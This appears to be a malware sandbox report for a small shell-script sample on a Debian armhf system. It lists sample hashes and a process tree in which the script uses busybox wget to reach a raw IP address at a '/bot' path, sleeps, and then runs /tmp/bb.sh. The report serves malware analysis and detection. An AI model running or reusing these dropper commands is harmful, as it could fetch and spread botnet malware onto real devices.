Analysis

  • max time kernel
    30s
  • max time network
    2s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/07/2026, 20:32

General

  • Target
    5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791.sh
  • Size 121B
  • Sample260706-zbec3adv4x
  • SHA256 5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791
  • MD5 SHA1 SHA512 TLSH
Score
1/10

Malware Config

Signatures

Processes

  • /tmp/5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791.sh
    /tmp/5b64550c87fc3a579694133117a265c756fe36cd31de5ef0b87a6f2faae7f791.sh
    1⤵
      PID:643
      • /bin/busybox
        /bin/busybox wget -q -O /dev/null http://152.70.4.175:5555/bot
        2⤵
          PID:644
        • /bin/busybox
          /bin/busybox sleep 30
          2⤵
            PID:662
          • /bin/sh
            sh /tmp/bb.sh
            2⤵
              PID:754

          Network

                MITRE ATT&CK Matrix

                Replay Monitor

                Loading Replay Monitor...

                Downloads